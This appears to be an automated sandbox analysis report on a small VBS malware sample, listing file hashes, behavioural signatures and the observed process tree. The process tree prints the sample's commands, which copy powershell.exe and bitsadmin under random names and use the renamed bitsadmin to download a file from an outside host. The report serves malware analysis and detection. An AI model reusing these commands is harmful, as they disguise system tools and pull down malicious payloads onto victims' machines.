Analysis
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max time kernel
27s -
max time network
26s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
01-03-2021 10:39
Static task
static1
Behavioral task
behavioral1
Sample
00SBLFNC71R18D160W.vbs
Resource
win7v20201028
General
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Target
00SBLFNC71R18D160W.vbs
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Size
699B
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MD5
70053c798a635f12c002e57eacb3bd26
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SHA1
4cbe4c33fc5f44265e15bb6e583f46c878a97341
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SHA256
43202b6bcac9d8c195da84abee91ebd15ee80337421dc6e0eaa1c2e1481bb123
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SHA512
62652ceb291614da3b19be434fe3db7f1777e080b3e030c370cea1112dbd81a677a917ef356265bdeed732af89ebab6760cd7996179a477fe595ae4795402c69
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
lALIBfVin.exepid process 2020 lALIBfVin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 328 wrote to memory of 1700 328 WScript.exe cmd.exe PID 328 wrote to memory of 1700 328 WScript.exe cmd.exe PID 328 wrote to memory of 1700 328 WScript.exe cmd.exe PID 1700 wrote to memory of 2028 1700 cmd.exe cmd.exe PID 1700 wrote to memory of 2028 1700 cmd.exe cmd.exe PID 1700 wrote to memory of 2028 1700 cmd.exe cmd.exe PID 1700 wrote to memory of 1164 1700 cmd.exe cmd.exe PID 1700 wrote to memory of 1164 1700 cmd.exe cmd.exe PID 1700 wrote to memory of 1164 1700 cmd.exe cmd.exe PID 328 wrote to memory of 2020 328 WScript.exe lALIBfVin.exe PID 328 wrote to memory of 2020 328 WScript.exe lALIBfVin.exe PID 328 wrote to memory of 2020 328 WScript.exe lALIBfVin.exe PID 328 wrote to memory of 2020 328 WScript.exe lALIBfVin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00SBLFNC71R18D160W.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1700 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe3⤵PID:2028
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe3⤵PID:1164
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C:\ProgramData\lALIBfVin.exe"C:\ProgramData\lALIBfVin.exe" /wrap /transfer wyajDGCI https://agaux.com/ogoksi/SBLFNC71R18D160W/developer.txt C:\ProgramData\developer.txt2⤵
- Executes dropped EXE
PID:2020
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51
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MD5
0920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51